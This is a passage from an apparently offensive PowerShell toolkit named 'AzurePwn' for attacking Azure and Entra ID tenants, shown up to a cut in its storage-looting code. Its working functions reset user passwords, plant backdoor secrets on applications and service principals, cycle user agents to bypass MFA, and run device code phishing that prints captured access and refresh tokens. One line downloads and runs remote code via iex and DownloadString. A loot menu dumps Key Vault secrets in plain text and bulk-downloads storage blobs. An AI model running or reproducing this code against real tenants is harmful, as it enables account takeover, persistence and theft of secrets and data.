Read-Host -Prompt "Select an option" 1660 | switch ($userInput) { 1661 | "1" { 1662 | ResetUserPassword 1663 | } 1664 | "2" { 1665 | SetNewSecretForApplication 1666 | } 1667 | "3" { 1668 | SetNewSecretForServicePrincipal 1669 | } 1670 | "4" { 1671 | MFASweep 1672 | } 1673 | "5" { 1674 | GraphRunnerBypassMFA 1675 | } 1676 | "6" { 1677 | DeviceCodePhishing 1678 | } 1679 | "B" { 1680 | return 1681 | } 1682 | default { 1683 | Write-Host "Invalid selection, please try again." 1684 | Write-Host "`nPress any key to continue..." 1685 | [void][System.Console]::ReadKey($true) 1686 | } 1687 | } 1688 | } 1689 | } 1690 | 1691 | # Function to reset a user's password via Graph 1692 | function ResetUserPassword { 1693 | Clear-Host 1694 | DisplayHeader 1695 | Write-Host "Reset a User's Password via Graph PS Module" -ForegroundColor Cyan 1696 | Write-Host "Enter the user's email or user ID:" -ForegroundColor Yellow 1697 | $userId = Read-Host 1698 | 1699 | Write-Host "Enter the new password:" -ForegroundColor Yellow 1700 | $password = Read-Host 1701 | 1702 | try { 1703 | $params = @{ 1704 | passwordProfile = @{ 1705 | forceChangePasswordNextSignIn = $false 1706 | forceChangePasswordNextSignInWithMfa = $false 1707 | password = $password 1708 | } 1709 | } 1710 | Update-MgUser -UserId $userId -BodyParameter $params 1711 | Write-Host "Password reset successfully for user $userId." -ForegroundColor Green 1712 | } 1713 | catch { 1714 | Write-Host "Error resetting password for user "$userId": $_" -ForegroundColor Red 1715 | } 1716 | 1717 | Write-Host "`nPress any key to return to the attacks menu..." 1718 | [void][System.Console]::ReadKey($true) 1719 | } 1720 | 1721 | # Function to set a new secret to an application 1722 | function SetNewSecretForApplication { 1723 | Clear-Host 1724 | DisplayHeader 1725 | Write-Host "Add New Secret for an Application via Graph PS Module" -ForegroundColor Cyan 1726 | Write-Host "Careful here. You need the Object ID, not the Application (client) ID!!!" -ForegroundColor Yellow 1727 | Write-Host "Enter the application's Object ID:" -ForegroundColor Yellow 1728 | $appId = Read-Host 1729 | 1730 | try { 1731 | $passwordCred = @{ 1732 | displayName = 'Created via AzurePwn' 1733 | } 1734 | # Create a new password credential 1735 | $newPassword = Add-MgApplicationPassword -ApplicationId $appId -PasswordCredential $passwordCred 1736 | 1737 | # Print the new password 1738 | Write-Host "The new secret for the Application is: $($newPassword.SecretText)" -ForegroundColor Green 1739 | } 1740 | catch { 1741 | Write-Host "Error setting new secret for application ID "$appId": $_" -ForegroundColor Red 1742 | } 1743 | 1744 | Write-Host "`nPress any key to return to the attacks menu..." 1745 | [void][System.Console]::ReadKey($true) 1746 | } 1747 | 1748 | # Function to set a new secret for a service principal 1749 | function SetNewSecretForServicePrincipal { 1750 | Clear-Host 1751 | DisplayHeader 1752 | Write-Host "Set New Secret for a Service Principal" -ForegroundColor Cyan 1753 | Write-Host "Careful here. You need the Object ID, not the Application ID!!!" -ForegroundColor Yellow 1754 | Write-Host "Enter the service principal's Object ID:" -ForegroundColor Yellow 1755 | $spId = Read-Host 1756 | 1757 | Write-Host "Select tool(s) to use to set the secret:" -ForegroundColor Yellow 1758 | Write-Host "1. Azure CLI" -ForegroundColor Yellow 1759 | Write-Host "2. Az PS Module" -ForegroundColor Yellow 1760 | Write-Host "3. Graph PS Module" -ForegroundColor Yellow 1761 | Write-Host "4. All" -ForegroundColor Yellow 1762 | $toolChoice = Read-Host 1763 | 1764 | try { 1765 | if ($toolChoice -eq "1" -or $toolChoice -eq "4") { 1766 | Write-Host "AZ CLI output:" -ForegroundColor Magenta 1767 | $newSecret = az ad sp credential reset --id $spId --append --query 'password' -o tsv 1768 | Write-Host "The new secret for the service principal is: $newSecret" -ForegroundColor Green 1769 | } 1770 | 1771 | if ($toolChoice -eq "2" -or $toolChoice -eq "4") { 1772 | Write-Host "AZ PS Module output:" -ForegroundColor Magenta 1773 | $newPassword = New-AzADSpCredential -ObjectId $spId -DisplayName 'Created via AzurePwn' 1774 | Write-Host "The new secret for the service principal is: $($newPassword.Secret)" -ForegroundColor Green 1775 | } 1776 | 1777 | if ($toolChoice -eq "3" -or $toolChoice -eq "4") { 1778 | Write-Host "Graph PS Module output:" -ForegroundColor Magenta 1779 | $passwordCred = @{ 1780 | displayName = 'Created via AzurePwn' 1781 | } 1782 | $newPassword = Add-MgServicePrincipalPassword -ServicePrincipalId $spId -PasswordCredential $passwordCred 1783 | Write-Host "The new secret for the service principal is: $($newPassword.SecretText)" -ForegroundColor Green 1784 | } 1785 | } 1786 | catch { 1787 | Write-Host "Error setting new secret for application ID "$spId": $_" -ForegroundColor Red 1788 | } 1789 | 1790 | Write-Host "`nPress any key to return to the attacks menu..." 1791 | [void][System.Console]::ReadKey($true) 1792 | } 1793 | 1794 | # Function to test various user agents to acquire an access token 1795 | function GraphRunnerBypassMFA { 1796 | Clear-Host 1797 | DisplayHeader 1798 | Write-Host "Testing User Agent Combinations to bypass MFA to get Graph Access Token via Dafthack's Graphrunner" -ForegroundColor Cyan 1799 | $username = Read-Host -Prompt "Username" 1800 | $password = Read-Host -Prompt "Password" 1801 | 1802 | # Reset global token variable 1803 | $global:tokens = $null 1804 | 1805 | # Define the device and browser options 1806 | $deviceOptions = @('Mac', 'Windows', 'Linux', 'AndroidMobile', 'iPhone', 'OS/2', 'PlayStation') 1807 | $browserOptions = @('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari') 1808 | 1809 | # Ask if user wants to specify custom Device/Browser 1810 | Write-Host "Would you like to specify a custom Device and Browser header? (Y/N)" -ForegroundColor Yellow 1811 | $customHeaders = Read-Host 1812 | 1813 | $devices = @() 1814 | $browsers = @() 1815 | 1816 | if ($customHeaders -eq "Y") { 1817 | # Display device options 1818 | Write-Host "`nSelect Device:" -ForegroundColor Yellow 1819 | for ($i = 0; $i -lt $deviceOptions.Count; $i++) { 1820 | Write-Host "$($i + 1). $($deviceOptions[$i])" 1821 | } 1822 | $selectedDeviceIndex = Read-Host "Enter the number corresponding to the Device" 1823 | $devices = @($deviceOptions[$selectedDeviceIndex - 1]) 1824 | 1825 | # Display browser options 1826 | Write-Host "`nSelect Browser:" -ForegroundColor Yellow 1827 | for ($i = 0; $i -lt $browserOptions.Count; $i++) { 1828 | Write-Host "$($i + 1). $($browserOptions[$i])" 1829 | } 1830 | $selectedBrowserIndex = Read-Host "Enter the number corresponding to the Browser" 1831 | $browsers = @($browserOptions[$selectedBrowserIndex - 1]) 1832 | } 1833 | else { 1834 | # Default: test all devices and browsers 1835 | $devices = $deviceOptions 1836 | $browsers = $browserOptions 1837 | } 1838 | 1839 | # Loop through all variants to see if we can bypass 1840 | :OuterLoop foreach ($device in $devices) { 1841 | foreach ($browser in $browsers) { 1842 | try { 1843 | Write-Host "Attempting with Device: $device, Browser: $browser" -ForegroundColor Cyan 1844 | 1845 | # Attempt to acquire graph tokens using the generated user agent 1846 | $result = Get-GraphTokens -UserPasswordAuth -Device $device -Browser $browser 1847 | 1848 | # Checking if the global variable $tokens has been set 1849 | if ($global:tokens -and $global:tokens.AccessTokens.Count -gt 0 -and $global:tokens.access_token) { 1850 | # Write-Host "Successfully retrieved Graph Access Token with -Device=$device and -Browser=$browser combination" -ForegroundColor DarkGreen 1851 | # Write-Host "You can use it in the auth menu or via Connect-MgGraph -AccessToken " -ForegroundColor DarkGreen 1852 | # Write-Host "Access Token: $($global:tokens.access_token)" -ForegroundColor DarkMagenta 1853 | # Write-Host "Successfully retrieved Refresh Token with -Device=$device and -Browser=$browser combination" -ForegroundColor DarkGreen 1854 | # Write-Host "Use TokenTacticsV2 (Invoke-RefreshTo...) to exchange it for an Access Token to a FOCI app or directly to collect AzureHound data" -ForegroundColor DarkGreen 1855 | # Write-Host "Refresh Token: $($global:tokens.refresh_token)" -ForegroundColor DarkMagenta 1856 | break OuterLoop # Exit both loops if a token is retrieved 1857 | } else { 1858 | Write-Host "Failed to retrieve token with $device and $browser combination" -ForegroundColor Red 1859 | } 1860 | } 1861 | catch { 1862 | Write-Host "Error with Device: $device, Browser: $browser | Error: $($_.Exception.Message)" -ForegroundColor Red 1863 | } 1864 | } 1865 | } 1866 | 1867 | Write-Host "`nTesting completed. Press any key to return to the menu..." 1868 | [void][System.Console]::ReadKey($true) 1869 | } 1870 | 1871 | 1872 | <# 1873 | Function to invoke MFASweep directly from GitHub https://github.com/dafthack/MFASweep 1874 | MIT License 1875 | 1876 | Copyright (c) 2020 dafthack 1877 | 1878 | Permission is hereby granted, free of charge, to any person obtaining a copy 1879 | of this software and associated documentation files (the "Software"), to deal 1880 | in the Software without restriction, including without limitation the rights 1881 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 1882 | copies of the Software, and to permit persons to whom the Software is 1883 | furnished to do so, subject to the following conditions: 1884 | 1885 | The above copyright notice and this permission notice shall be included in all 1886 | copies or substantial portions of the Software. 1887 | 1888 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 1889 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 1890 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 1891 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 1892 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 1893 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 1894 | SOFTWARE. 1895 | #> 1896 | function MFASweep { 1897 | Clear-Host 1898 | DisplayHeader 1899 | Write-Host "MFA Sweep" -ForegroundColor Cyan 1900 | 1901 | # Download and execute MFASweep 1902 | if (Get-Command -Name Invoke-MFASweep -ErrorAction SilentlyContinue) { 1903 | Write-Host "Invoke-MFASweeps is already available." -ForegroundColor Green 1904 | } else { 1905 | Write-Host "Invoke-MFASweep is not available." -ForegroundColor Red 1906 | Write-Host "Downloading and running MFASweep from GitHub..." -ForegroundColor Yellow 1907 | iex(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1") 1908 | } 1909 | 1910 | Invoke-MFASweep 1911 | 1912 | Write-Host "`nPress any key to return to the Attacks menu..." 1913 | [void][System.Console]::ReadKey($true) 1914 | } 1915 | 1916 | function DeviceCodePhishing { 1917 | Clear-Host 1918 | DisplayHeader 1919 | Write-Host "Device Code Phishing" -ForegroundColor Cyan 1920 | Write-Host "Select the resource (scope) to target:" -ForegroundColor Yellow 1921 | 1922 | $resources = @( 1923 | @{ Name = "Microsoft Graph"; URL = "https://graph.microsoft.com" }, 1924 | @{ Name = "Azure Management"; URL = "https://management.azure.com/" } 1925 | ) 1926 | 1927 | for ($i = 0; $i -lt $resources.Count; $i++) { 1928 | Write-Host "$($i + 1)) $($resources[$i].Name)" 1929 | } 1930 | 1931 | $selection = Read-Host "Enter your choice" 1932 | if ($selection -notin @("1", "2")) { 1933 | Write-Error "Invalid selection. Exiting." 1934 | return 1935 | } 1936 | 1937 | $resource = $resources[$selection - 1].URL 1938 | Write-Host "Selected resource: $resource" -ForegroundColor Green 1939 | 1940 | $body = @{ 1941 | "client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c" 1942 | "resource" = $resource 1943 | } 1944 | 1945 | Write-Host "`nRequesting device code..." -ForegroundColor Cyan 1946 | $authResponse = Invoke-RestMethod -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" -Body $body 1947 | 1948 | Write-Host "`nPlease go to: $($authResponse.verification_url)" -ForegroundColor Yellow 1949 | Write-Host "Enter the code: $($authResponse.user_code)" -ForegroundColor Green 1950 | Write-Host "`n start polling for tokens..." 1951 | 1952 | 1953 | $interval = $authResponse.interval 1954 | $expires = $authResponse.expires_in 1955 | $total = 0 1956 | 1957 | $pollingBody = @{ 1958 | "client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c" 1959 | "grant_type" = "urn:ietf:params:oauth:grant-type:device_code" 1960 | "code" = $authResponse.device_code 1961 | "resource" = $resource 1962 | } 1963 | 1964 | Write-Host "`nPolling for token..." -ForegroundColor Cyan 1965 | while ($true) { 1966 | Start-Sleep -Seconds $interval 1967 | $total += $interval 1968 | 1969 | if ($total -gt $expires) { 1970 | Write-Error "Timeout occurred. Device code expired." 1971 | return 1972 | } 1973 | 1974 | try { 1975 | $response = Invoke-RestMethod -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/token?api-version=1.0" -Body $pollingBody -ErrorAction Stop 1976 | break 1977 | } 1978 | catch { 1979 | $details = $_.ErrorDetails.Message | ConvertFrom-Json 1980 | if ($details.error -eq "authorization_pending") { 1981 | Write-Host "Waiting for user authorization..." -ForegroundColor Magenta 1982 | } 1983 | elseif ($details.error -eq "authorization_declined") { 1984 | Write-Error "Authorization was declined." 1985 | return 1986 | } 1987 | else { 1988 | Write-Error "Unexpected error: $($details.error_description)" 1989 | return 1990 | } 1991 | } 1992 | } 1993 | 1994 | Write-Host "Tokens acquired successfully!" -ForegroundColor Green 1995 | Write-Host "Resource: $($response.resource)" -ForegroundColor DarkGreen 1996 | Write-Host "Access Token: $($response.access_token)" -ForegroundColor Yellow 1997 | Write-Host "Refresh Token: $($response.refresh_token)" -ForegroundColor DarkYellow 1998 | Pause 1999 | } 2000 | 2001 | # Login menu structure 2002 | function LootMenu { 2003 | while ($true) { 2004 | Clear-Host 2005 | DisplayHeader 2006 | Write-Host "Loot Menu" -ForegroundColor Cyan 2007 | Write-Host "1. Key Vaults" 2008 | Write-Host "2. Storage" 2009 | Write-Host "3. Container Apps" 2010 | Write-Host "4. Hail Mary via Get-AzPasswords from MicroBurst (Az PS Module)" 2011 | Write-Host "B. Return to Main Menu" 2012 | 2013 | $userInput = Read-Host -Prompt "Select an option" 2014 | switch ($userInput) { 2015 | "1" { 2016 | LootKeyvaults 2017 | } 2018 | "2" { 2019 | LootStorageMenu 2020 | } 2021 | "3" { 2022 | LootContainerAppsMenu 2023 | } 2024 | "4" { 2025 | LootAzPasswords 2026 | } 2027 | "B" { 2028 | return 2029 | } 2030 | default { 2031 | Write-Host "Invalid selection, please try again." 2032 | Write-Host "`nPress any key to continue..." 2033 | [void][System.Console]::ReadKey($true) 2034 | } 2035 | } 2036 | } 2037 | } 2038 | 2039 | # Function to query available Key Vaults and interact with secrets 2040 | function LootKeyvaults { 2041 | Clear-Host 2042 | DisplayHeader 2043 | Write-Host "Available Key Vaults Query" -ForegroundColor Cyan 2044 | 2045 | Write-Host "Select tool to use:" -ForegroundColor Yellow 2046 | Write-Host "1. Azure CLI" -ForegroundColor Yellow 2047 | Write-Host "2. Az PS Module" -ForegroundColor Yellow 2048 | $toolChoice = Read-Host 2049 | 2050 | Start-Sleep -Seconds 2 2051 | 2052 | try { 2053 | Clear-Host 2054 | DisplayHeader 2055 | $keyVaultList = @() 2056 | 2057 | # List key vaults 2058 | try { 2059 | if ($toolChoice -eq "1") { 2060 | Write-Host "AZ CLI output:" -ForegroundColor Magenta 2061 | $cliOutput = az keyvault list --query "[].name" -o tsv 2062 | $keyVaultList = $cliOutput -split "`n" 2063 | } elseif ($toolChoice -eq "2") { 2064 | Write-Host "AZ PS Module output:" -ForegroundColor Magenta 2065 | $psOutput = Get-AzKeyVault | Select-Object -ExpandProperty VaultName 2066 | $keyVaultList = $psOutput -split "`n" 2067 | } else { 2068 | Write-Host "Invalid selection, returning to queries menu." -ForegroundColor Red 2069 | return 2070 | } 2071 | } catch { 2072 | Write-Host "Error retrieving Key Vaults: $_" -ForegroundColor Red 2073 | } 2074 | 2075 | if ($keyVaultList.Count -gt 0) { 2076 | while ($true) { 2077 | Write-Host "Select a Key Vault to explore:" -ForegroundColor Yellow 2078 | for ($i = 0; $i -lt $keyVaultList.Count; $i++) { 2079 | Write-Host "$($i + 1). $($keyVaultList[$i])" -ForegroundColor Green 2080 | } 2081 | Write-Host "B. Back to tool selection" -ForegroundColor Cyan 2082 | Write-Host "M. Return to main menu" -ForegroundColor Cyan 2083 | 2084 | $selectedOption = Read-Host "Enter a number to select a vault, 'B', or 'M'" 2085 | 2086 | if ($selectedOption -eq "B") { 2087 | break 2088 | } 2089 | 2090 | if ($selectedOption -eq "M") { 2091 | return 2092 | } 2093 | 2094 | if ($selectedOption -ge 1 -and $selectedOption -le $keyVaultList.Count) { 2095 | $selectedVault = $keyVaultList[$selectedOption - 1] 2096 | Write-Host "`nExploring secrets in '$selectedVault' Key Vault..." -ForegroundColor Yellow 2097 | 2098 | # List secrets 2099 | try { 2100 | $secrets = if ($toolChoice -eq "1") { 2101 | az keyvault secret list --vault-name $selectedVault --query "[].name" -o tsv 2102 | } elseif ($toolChoice -eq "2") { 2103 | Get-AzKeyVaultSecret -VaultName $selectedVault | Select-Object -ExpandProperty Name 2104 | } 2105 | 2106 | $secretList = $secrets -split "`n" 2107 | if ($secretList.Count -gt 0) { 2108 | while ($true) { 2109 | Write-Host "Select a secret to view its content:" -ForegroundColor Yellow 2110 | for ($i = 0; $i -lt $secretList.Count; $i++) { 2111 | Write-Host "$($i + 1). $($secretList[$i])" -ForegroundColor Green 2112 | } 2113 | Write-Host "B. Back to vault selection" -ForegroundColor Cyan 2114 | Write-Host "M. Return to main menu" -ForegroundColor Cyan 2115 | 2116 | $selectedSecret = Read-Host "Enter a number to view a secret, 'B', or 'M'" 2117 | 2118 | if ($selectedSecret -eq "B") { 2119 | break 2120 | } 2121 | 2122 | if ($selectedSecret -eq "M") { 2123 | return 2124 | } 2125 | 2126 | if ($selectedSecret -ge 1 -and $selectedSecret -le $secretList.Count) { 2127 | $secretName = $secretList[$selectedSecret - 1] 2128 | Write-Host "`nViewing content of secret '$secretName'..." -ForegroundColor Yellow 2129 | 2130 | # Retrieve secret content 2131 | $secretContent = if ($toolChoice -eq "1") { 2132 | az keyvault secret show --vault-name $selectedVault --name $secretName --query "value" -o tsv 2133 | } elseif ($toolChoice -eq "2") { 2134 | Get-AzKeyVaultSecret -VaultName $selectedVault -Name $secretName -AsPlainText 2135 | } 2136 | 2137 | Write-Host "Secret Content: $secretContent" -ForegroundColor Cyan 2138 | Write-Host "`nPress any key to return to secret selection..." 2139 | [void][System.Console]::ReadKey($true) 2140 | } else { 2141 | Write-Host "Invalid selection, no secret chosen." -ForegroundColor Red 2142 | } 2143 | } 2144 | } else { 2145 | Write-Host "No secrets found in the Key Vault." -ForegroundColor Red 2146 | } 2147 | } catch { 2148 | Write-Host "Error retrieving secrets: $_" -ForegroundColor Red 2149 | } 2150 | } else { 2151 | Write-Host "Invalid selection, no Key Vault chosen." -ForegroundColor Red 2152 | } 2153 | } 2154 | } else { 2155 | Write-Host "No Key Vaults found." -ForegroundColor Red 2156 | } 2157 | } 2158 | catch { 2159 | Write-Host "Error retrieving Key Vaults or secrets: $_" -ForegroundColor Red 2160 | } 2161 | 2162 | Write-Host "`nPress any key to return to the Loot menu..." 2163 | [void][System.Console]::ReadKey($true) 2164 | } 2165 | 2166 | # Storage submenu 2167 | function LootStorageMenu { 2168 | while ($true) { 2169 | Clear-Host 2170 | DisplayHeader 2171 | Write-Host "Storage Menu" -ForegroundColor Cyan 2172 | Write-Host "1. List All Storage Accounts" 2173 | Write-Host "2. List Storage Resources" 2174 | Write-Host "3. List Blobs in Container" 2175 | Write-Host "B. Return to Main Menu" 2176 | 2177 | $userInput = Read-Host -Prompt "Select an option" 2178 | switch ($userInput) { 2179 | "1" { 2180 | ListStorageAccounts 2181 | } 2182 | "2" { 2183 | ListStorageResources 2184 | } 2185 | "3" { 2186 | ListBlobsInContainer 2187 | } 2188 | "B" { 2189 | return 2190 | } 2191 | default { 2192 | Write-Host "Invalid selection, please try again." 2193 | Write-Host "`nPress any key to continue..." 2194 | [void][System.Console]::ReadKey($true) 2195 | } 2196 | } 2197 | } 2198 | } 2199 | 2200 | # Function to list storage accounts 2201 | function ListStorageAccounts { 2202 | Clear-Host 2203 | DisplayHeader 2204 | Write-Host "List All Storage Accounts" -ForegroundColor Cyan 2205 | Write-Host "Select tool(s) to use:" -ForegroundColor Yellow 2206 | Write-Host "1. Azure CLI" -ForegroundColor Yellow 2207 | Write-Host "2. Az PS Module" -ForegroundColor Yellow 2208 | Write-Host "4. All" -ForegroundColor Yellow 2209 | $toolChoice = Read-Host 2210 | 2211 | Start-Sleep -Seconds 2 2212 | 2213 | try { 2214 | Clear-Host 2215 | DisplayHeader 2216 | 2217 | if ($toolChoice -eq "1" -or $toolChoice -eq "4") { 2218 | Write-Host "AZ CLI output:" -ForegroundColor Magenta 2219 | Write-Host "The following Storage Accounts were found:" -ForegroundColor Cyan 2220 | $cliOutput = az storage account list --query "[].name" -o tsv | Out-String 2221 | Write-Host $cliOutput 2222 | } 2223 | 2224 | if ($toolChoice -eq "2" -or $toolChoice -eq "4") { 2225 | Write-Host "AZ PS Module output:" -ForegroundColor Magenta 2226 | Write-Host "The following Storage Accounts were found:" -ForegroundColor Cyan 2227 | $psOutput = Get-AzStorageAccount | Format-Table | Out-String 2228 | Write-Host $psOutput 2229 | } 2230 | } 2231 | catch { 2232 | Write-Host "Error retrieving storage accounts: $_" -ForegroundColor Red 2233 | } 2234 | 2235 | Write-Host "`nPress any key to return to the Loot menu..." 2236 | [void][System.Console]::ReadKey($true) 2237 | } 2238 | 2239 | # Function to list storage resources and manage blobs and tables 2240 | function ListStorageResources { 2241 | Clear-Host 2242 | DisplayHeader 2243 | Write-Host "List Storage Resources" -ForegroundColor Cyan 2244 | 2245 | Write-Host "Enter the storage account name:" -ForegroundColor Yellow 2246 | $accountName = Read-Host 2247 | 2248 | Write-Host "Select authentication method:" -ForegroundColor Yellow 2249 | Write-Host "1. Current Account" -ForegroundColor Yellow 2250 | Write-Host "2. SAS Token" -ForegroundColor Yellow 2251 | Write-Host "3. Connection String" -ForegroundColor Yellow 2252 | $authChoice = Read-Host 2253 | 2254 | $sasToken = "" 2255 | $connectionString = "" 2256 | 2257 | if ($authChoice -eq "2") { 2258 | Write-Host "Enter SAS token:" -ForegroundColor Yellow 2259 | $sasToken = Read-Host 2260 | } elseif ($authChoice -eq "3") { 2261 | Write-Host "Enter Connection String:" -ForegroundColor Yellow 2262 | $connectionString = Read-Host 2263 | } 2264 | 2265 | Start-Sleep -Seconds 2 2266 | 2267 | try { 2268 | Clear-Host 2269 | DisplayHeader 2270 | Write-Host "Checking storage resources..." -ForegroundColor Magenta 2271 | 2272 | # Initialize containers and tables as empty to ensure both are checked 2273 | $containers = @() 2274 | $tables = @() 2275 | 2276 | # Retrieve containers 2277 | try { 2278 | $containers = if ($authChoice -eq "1") { 2279 | az storage container list --account-name $accountName --query "[].{Name:name}" -o tsv --auth-mode login 2280 | } elseif ($authChoice -eq "2") { 2281 | az storage container list --account-name $accountName --sas-token "`"$sasToken`"" --query "[].{Name:name}" -o tsv 2282 | } elseif ($authChoice -eq "3") { 2283 | az storage container list --account-name $accountName --connection-string "$connectionString" --query "[].{Name:name}" -o tsv 2284 | } 2285 | } catch { 2286 | Write-Host "Error retrieving containers: $_" -ForegroundColor Red 2287 | } 2288 | 2289 | # Retrieve tables 2290 | try { 2291 | $tables = if ($authChoice -eq "1") { 2292 | az storage table list --account-name $accountName -o tsv --auth-mode login 2293 | } elseif ($authChoice -eq "2") { 2294 | az storage table list --account-name $accountName --sas-token "`"$sasToken`"" -o tsv 2295 | } elseif ($authChoice -eq "3") { 2296 | az storage table list --account-name $accountName --connection-string "$connectionString" -o tsv 2297 | } 2298 | } catch { 2299 | Write-Host "Error retrieving tables: $_" -ForegroundColor Red 2300 | } 2301 | 2302 | $containerList = $containers -split "`n" 2303 | $tableList = $tables -split "`n" 2304 | 2305 | if ($containerList.Count -gt 0 -or $tableList.Count -gt 0) { 2306 | Write-Host "The following containers and tables were found:" -ForegroundColor Yellow 2307 | 2308 | if ($containerList.Count -gt 0) { 2309 | Write-Host "Containers:" -ForegroundColor Cyan 2310 | $containerList | ForEach-Object { Write-Host $_ -ForegroundColor Green } 2311 | } else { 2312 | Write-Host "Containers:" -ForegroundColor Cyan 2313 | Write-Host "No containers found." -ForegroundColor Red 2314 | } 2315 | 2316 | if ($tableList.Count -gt 0) { 2317 | Write-Host "`nTables:" -ForegroundColor Cyan 2318 | $tableList | ForEach-Object { Write-Host $_ -ForegroundColor Green } 2319 | } else { 2320 | Write-Host "`nTables:" -ForegroundColor Cyan 2321 | Write-Host "No tables found." -ForegroundColor Red 2322 | } 2323 | 2324 | # Decide if digging into containers or tables 2325 | while ($true) { 2326 | Write-Host "`nWould you like to explore containers or tables? Enter C for containers, T for tables, or B to go back to the menu." -ForegroundColor Yellow 2327 | $choice = Read-Host "Select C, T, or B" 2328 | 2329 | if ($choice -eq "B") { 2330 | return 2331 | } 2332 | 2333 | if ($choice -eq "C" -and $containerList.Count -gt 0) { 2334 | # Dig into container logic 2335 | while ($true) { 2336 | Write-Host "Select a container to query blobs:" -ForegroundColor Yellow 2337 | for ($i = 0; $i -lt $containerList.Count; $i++) { 2338 | Write-Host "$($i + 1). $($containerList[$i].Trim())" -ForegroundColor Green 2339 | } 2340 | Write-Host "B. Back to resource selection" -ForegroundColor Cyan 2341 | Write-Host "M. Return to main menu" -ForegroundColor Cyan 2342 | 2343 | $selectedOption = Read-Host "Enter a number to select a container, B, or M" 2344 | 2345 | if ($selectedOption -eq "B") { 2346 | break 2347 | } 2348 | 2349 | if ($selectedOption -eq "M") { 2350 | return 2351 | } 2352 | 2353 | if ($selectedOption -ge 1 -and $selectedOption -le $containerList.Count) { 2354 | $selectedContainer = $containerList[$selectedOption - 1].Trim() 2355 | Write-Host "`nQuerying blobs in container '$selectedContainer'..." -ForegroundColor Yellow 2356 | 2357 | $blobList = if ($authChoice -eq "1") { 2358 | az storage blob list --account-name $accountName --container-name $selectedContainer --query "[].name" -o tsv --auth-mode login 2359 | } elseif ($authChoice -eq "2") { 2360 | az storage blob list --account-name $accountName --container-name $selectedContainer --sas-token "`"$sasToken`"" --query "[].name" -o tsv 2361 | } elseif ($authChoice -eq "3") { 2362 | az storage blob list --account-name $accountName --container-name $selectedContainer --connection-string "$connectionString" --query "[].name" -o tsv 2363 | } 2364 | 2365 | $blobs = $blobList -split "`n" 2366 | if ($blobs.Count -gt 0) { 2367 | while ($true) { 2368 | Write-Host "Select a blob to download, 'A' for all blobs, or 'B' to go back to container selection:" -ForegroundColor Yellow 2369 | for ($i = 0; $i -lt $blobs.Count; $i++) { 2370 | Write-Host "$($i + 1). $($blobs[$i].Trim())" -ForegroundColor Green 2371 | } 2372 | Write-Host "A. Download All Blobs" -ForegroundColor Cyan 2373 | Write-Host "B. Return to container selection" -ForegroundColor Cyan 2374 | 2375 | $selectedBlob = Read-Host "Enter a number, 'A', or 'B'" 2376 | 2377 | if ($selectedBlob -eq "B") { 2378 | break 2379 | } 2380 | 2381 | if ($selectedBlob -eq "A") { 2382 | $destinationDir = Read-Host "Enter directory to save files or press Enter for current directory" 2383 | $destinationDir = if ($destinationDir -eq "") { "." } else { $destinationDir } 2384 | 2385 | foreach ($blobName in $blobs) { 2386 | Write-Host "`nDownloading blob '$blobName'..." -ForegroundColor Yellow 2387 | $destinationPath = Join-Path -Path $destinationDir -ChildPath $blobName.Trim() 2388 | 2389 | if ($authChoice -eq "1") { 2390 | az storage blob download --account-name $accountName --container-name $selectedContainer --name $blobName.Trim() --file $destinationPath --output none --auth-mode login 2391 | } elseif ($authChoice -eq "2") { 2392 | az storage blob download --account-name $accountName --container-name $selectedContainer --name $blobName.Trim() --sas-token "`"$sasToken`"" --file $destinationPath --output none 2393 | } elseif ($authChoice -eq "3") { 2394 | az storage blob download --account-name $accountName --container-name $selectedContainer --name $blobName.Trim() --connection-string "$connectionString" --file $destinationPath --output none 2395 | } 2396 | } 2397 | Write-Host "All blobs downloaded to '$destinationDir'" -ForegroundColor Green 2398 | } elseif ($selectedBlob -ge 1 -and $selectedBlob -le $blobs.Count) { 2399 | $blobName = $blobs[$selectedBlob - 1].Trim() 2400 | Write-Host "`nDownloading blob '$blobName'..." -ForegroundColor Yellow 2401 | $destinationPath = Read-Host "Enter the file path to save the blob (or press Enter to save as '$blobName' in current directory)" 2402 | 2403 | $destinationPath = if ($destinationPath -eq "") { ".\$blobName" } else { $destinationPath } 2404 | 2405 | if ($authChoice -eq "1") { 2406 | az storage blob download --account-name $accountName --container-name $selectedContainer --name $blobName --file $destinationPath --output none --auth-mode login 2407 | } elseif ($authChoice -eq "2") { 2408 | az storage blob download --account-name $accountName --container-name $selectedContainer --name $blobName --sas-token "`"$sasToken`"" --file $destinationPath --output none 2409 | } elseif ($authChoice -eq "3") { 2410 | az storage blob download --account-name $accountName --container-name $selectedContainer --name $blobName --connection-string "$connectionString" --file $destinationPath --output none 2411 | } 2412 | 2413 | Write-Host "Blob '$blobName' downloaded to '$destinationPath'" -ForegroundColor Green 2414 | } else { 2415 | Write-Host "Invalid selection." -ForegroundColor Red 2416 | } 2417 | } 2418 | } else { 2419 | Write-Host "No blobs found in the container." -ForegroundColor Red 2420 | } 2421 | } else { 2422 | Write-Host "Invalid selection, no container chosen." -ForegroundColor Red 2423 | } 2424 | } 2425 | } elseif ($choice -eq "T" -and $tableList.Count -gt 0) { 2426 | # Dig into table logic 2427 | while ($true) { 2428 | Write-Host "Select a table to query or 'B' to go back:" -ForegroundColor Yellow 2429 | for ($i = 0; $i -lt $tableList.Count; $i++) { 2430 | Write-Host "$($i + 1). $($tableList[$i].Trim())" -ForegroundColor Green 2431 | } 2432 | Write-Host "B. Back to resource selection" -ForegroundColor Cyan 2433 | Write-Host "M. Return to main menu" -ForegroundColor Cyan 2434 | 2435 | $selectedTableOption = Read-Host "Enter a number to select a table or 'B' to go back" 2436 | 2437 